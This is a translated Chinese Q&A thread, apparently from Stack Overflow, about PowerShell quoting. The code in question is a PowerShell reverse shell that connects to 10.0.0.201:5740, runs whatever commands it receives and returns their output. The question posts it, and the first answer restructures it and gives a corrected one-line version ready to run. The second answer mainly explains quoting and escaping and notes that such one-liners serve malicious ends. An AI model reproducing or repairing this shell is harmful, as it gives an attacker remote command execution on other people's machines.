Powershell不接受普通引号

zhte4eai  于 2023-01-02  发布在  Shell
关注(0)|答案(2)|浏览(198)

因为这个问题,我一整天都在揪头发。
我正在开发一个powershell一行程序,Powershell对我使用的引号很挑剔。",powershell要求前者。
最后,我遇到的一个大问题是,如果我使用普通的引号,powershell命令将无法工作。下面是命令,后面是正在发生的错误。如果我使用奇怪的引号(而不是所有正常的双引号)命令会工作得很好。它需要这个奇怪的引号。有人知道这里发生了什么吗?理论上它们都应该工作,但他们绝对不会。我的用例使我无法输入奇怪的引号。

powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) -    Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

错误:

At line:1 char:468

\+ ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + ( ...

\+                                                                  \~

You must provide a value expression following the '+' operator.

At line:1 char:469

\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + (pwd ...

\+                                                                \~\~

Unexpected token 'PS' in expression or statement.

At line:1 char:468

\+ ...  Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS  + ( ...

\+                                                                  \~

Missing closing ')' in expression.

At line:1 char:489

\+ ... endback;Set-Variable -Value ($sendback + PS  + (pwd).Path + > ) -Name ...

\+                                                                  \~

Missing file specification after redirection operator.

At line:1 char:262

\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...

\+                                                                 \~

Missing closing '}' in statement block or type definition.

At line:1 char:490

\+ ... dback;Set-Variable -Value ($sendback + PS  + (pwd).Path + > ) -Name s ...

\+                                                                 \~

Unexpected token ')' in expression or statement.

At line:1 char:650

\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...

\+                                                                 \~

Unexpected token '}' in expression or statement.

\+ CategoryInfo          : ParserError: (:) \[\], ParentContainsErrorRecordException

\+ FullyQualifiedErrorId : ExpectedValueExpression
zzlelutf

zzlelutf1#

正如我的评论。打开任何PowerShell编辑器查看您的代码,看看您哪里出错了,因为编辑器会突出显示问题,早在您尝试运行之前。
这才是你真正拥有的:

Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client

Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | 
ForEach-Object{0}

while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
    Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data

    Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback

    Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2

    Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))

    $stream.Write($sendbyte, 0, $sendbyte.Length)

    $stream.Flush()
}
$client.Close()

我去掉了别名,因为别名通常不用于生产脚本。请参阅有关该主题的文档。别名适用于一次性代码和快速CLI内容。
除非你需要扩展变量或其他特殊的格式,否则简单的字符串就用单引号,尤其是当你把这类东西放在一行的时候,这样可以避免不必要的引用技巧。
所以,稍微重构一下应该可以让它工作。

Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client

Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | 
ForEach-Object{0}

while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
    Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data

    Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback

    Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2

    Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))

    $stream.Write($sendbyte, 0, $sendbyte.Length)

    $stream.Flush()
}
$client.Close()

将所有这些放在一行中,并通过cmd.exe调用powershell.exe运行,可能如下所示。

powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}

然而,只有你可以测试这个,因为我们这里没有人会有像你一样的环境。

PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
    [-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
    [-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
    [-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
    [-ConfigurationName <string>]
    [-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
    [-Command { - | <script-block> [-args <arg-array>]
                  | <string> [<CommandParameters>] } ]

PowerShell[.exe] -Help | -? | /?

...

EXAMPLES
    PowerShell -PSConsoleFile SqlSnapIn.Psc1
    PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
    PowerShell -ConfigurationName AdminRoles
    PowerShell -Command {Get-EventLog -LogName security}
    PowerShell -Command "& {Get-EventLog -LogName security}"

    # To use the -EncodedCommand parameter:
    $command = 'dir "c:\program files" '
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    $encodedCommand = [Convert]::ToBase64String($bytes)
    powershell.exe -encodedCommand $encodedCommand
20jt8wwn

20jt8wwn2#

    • 更新**:

Your Reddit cross-post显示您正在尝试从PowerShell内部调用PowerShell CLI*:

      • 通常 * 没有 * 很好的理由这样做,但是如果您确实需要**(例如,当您需要从 * PowerShell(Core)7 +* 调用 * Windows PowerShell * 时),**在脚本块 *({ ... })**内传递命令,这避免了令人头痛的引用问题,还支持(有限的)类型保真度(不仅仅是 * 字符串 *)-请参见this answer
  • 混淆的PowerShell一行程序有时被用于 * 邪恶 * 的目的,不用说,这是不应该被宽恕的。
  • 在基于 * 字符串 * 的CLI调用中(您尝试了此操作),双引号需要将 * 转义为\",才能被视为要执行的PowerShell命令的一部分-有关说明,请参见this answer
  • 当你使用"Unicode"(非ASCII)双引号时,比如,转义就不需要了,原因在下面一节解释过,但是,这不应该依赖。
  • 总的来说:如果您在脚本中使用非ASCII * 文本 *(如),则必须确保PowerShell正确解释脚本文件的字符编码,对于UTF-8文件,这特别要求它们在 * Windows PowerShell * 中 * 具有BOM *-请参见this answer
    • 以下讨论cmd.exe/从 * PowerShell * 外部 * 调用PowerShell CLI * 的一般情况*。

左,右

  • 不要尝试使用非ASCII范围的引号,如(请参阅下面的部分了解原因)。
  • 相反,请使用 * normal *(ASCII范围)双引号("),并将其 * 转义为 * \"
  • 切勿使用'...'封装传递到PowerShell CLI的PowerShell命令(在Windows上,从PowerShell外部),除非您的目的是创建 * string literal * 而不是执行命令。

cmd.exe */*在PowerShell *[1]之外调用powershell.exe(Windows PowerShell CLI),使其按预期 * 工作的关键是:

      • 不要 * 使用整个'...'引号**(单引号),因为PowerShell会将整个参数解释为 * 逐字字符串 * 而不是 * 命令 *。
  • 最好使用整体"..."报价(见下文)。
      • 不要 * 使用\作为转义字符-* 除非 * 用于转义"字符**(参见下文)。
  • 不仅\ * 不 * 用作通用转义字符(在PowerShell和cmd.exe中都不是),[] * 不 * 需要转义,因此,例如,\[byte\[\]\]应该只是[byte[]]
  • PowerShell的escape character是```,即所谓的反勾号,而cmd.exe的转义字符(仅在 * 无引号 * 参数中)是^
      • "您希望作为PowerShell命令一部分执行的字符必须 * 转义为 * \"**
  • 转义"字符是一个要求,无论你是否使用整个"..."引号,但 * 没有 * 后者,它是 * 只有 * \"工作-见this answer,这也解释了 * 为什么 * 这种转义是必要的。
    • 使用 * 整个"..."引用,这通常是更可取的,因为cmd.exe然后(大多数情况下)* 不 * 解释内容,\"也可以工作,但仍然存在可能发生cmd.exe误解的边缘情况,在这种情况下,"-escaping的 * 替代 * 形式是解决方案:不幸的是,这种替代形式是特定于版本的:"^""..."^""(原文如此)在 * Windows PowerShell * 中,""...""在 * PowerShell(核心)7 +* 中-请参阅this answer
      • cmd.exe/a批处理文件调用时,避免使用%**,除非您尝试引用cmd.exe样式的环境变量,例如%OS%
  • 在批处理文件中,要 * 传递 * 到PowerShell的%字符必须转义为%%
  • 在 * 交互式 * cmd.exe会话中,%根本无法转义,%%将 * 按原样 * 传递。
  • 因此,为了避免命令 * 破坏环境 *--取决于它们是从批处理文件还是从交互式会话调用的--如果可能的话,避免使用%;在这里,您可以使用foreach作为%作为ForEach-Objectcmdlet别名的替代方法(当然,您也可以使用完整的cmdlet名称)。

下面是一个简化的命令,它实现了上述所有提示:

:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"

您应该能够相应地修复您的命令(如问题中所示,它还有其他问题,与引用和转义无关)。

    • 关于使用 * 非ASCII ("Unicode")双引号:*
  • PowerShell-* internally *,则允许将非ASCII范围标点符号替换为ASCII范围标点符号:

  • 正如您所发现的,(左双引号,U+201C)和(右双引号,U+201D)可以用来代替一对常规双引号("

  • This answer概述了支持的所有替换。

  • 相比之下,在PowerShell CLI的 * 命令行上,只有标准的ASCII范围双引号"(QUOTATION MARK,U+0022))具有 * 语法功能,因此非ASCII范围字符作为要执行的PowerShell命令的一部分 * 传递 *。

也就是说,使用非ASCII范围的字符可以有效地避免对它们进行 * 转义 *-无论是在无引号的标记中还是在普通的"..."
然而,这种行为是模糊的和视觉上微妙的,不应该依赖:相反,始终使用普通双引号,并将传递双引号转义为\",如上所述。
顺便说一句:常规控制台窗口(conhost.exe)甚至不允许粘贴非ASCII范围的双引号:它们被转换为普通的。但是,您可以将它们粘贴到Windows终端和Windows运行对话框(WinKey-R)中。
[1]在PowerShell * 内部 *,很少需要调用PowerShell CLI;如果需要,最好的方法是将命令 * 作为脚本块 *({ ... })传递-参见this answer

相关问题